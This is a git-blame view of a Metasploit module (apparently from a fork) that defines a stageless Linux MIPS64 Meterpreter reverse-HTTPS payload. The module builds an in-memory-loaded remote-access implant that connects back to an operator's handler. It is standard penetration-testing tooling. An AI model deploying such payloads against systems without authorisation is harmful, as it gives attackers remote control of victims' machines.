Files
metasploit-gs/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

45 lines
1.3 KiB
Ruby
Raw Normal View History

2016-12-09 18:21:52 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2016-12-09 18:21:52 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
# Module generated by tools/modules/generate_mettle_payloads.rb
2016-12-09 18:21:52 -06:00
module MetasploitModule
2025-05-19 12:03:14 +01:00
CachedSize = 1685392
2016-12-09 18:21:52 -06:00
2016-12-09 18:21:52 -06:00
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
2016-12-09 18:21:52 -06:00
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Mips64::MeterpreterLoader
2016-12-09 18:21:52 -06:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter, Reverse HTTPS Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
2017-10-30 14:04:10 -05:00
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr'
2016-12-09 18:21:52 -06:00
],
'Platform' => 'linux',
'Arch' => ARCH_MIPS64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseHttps,
'Session' => Msf::Sessions::Meterpreter_mips64_Linux
2016-12-09 18:21:52 -06:00
)
)
end
def generate
2017-06-08 11:20:48 +10:00
opts = {
scheme: 'https',
stageless: true
}.merge(mettle_logging_config)
payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
2016-12-09 18:21:52 -06:00
end
end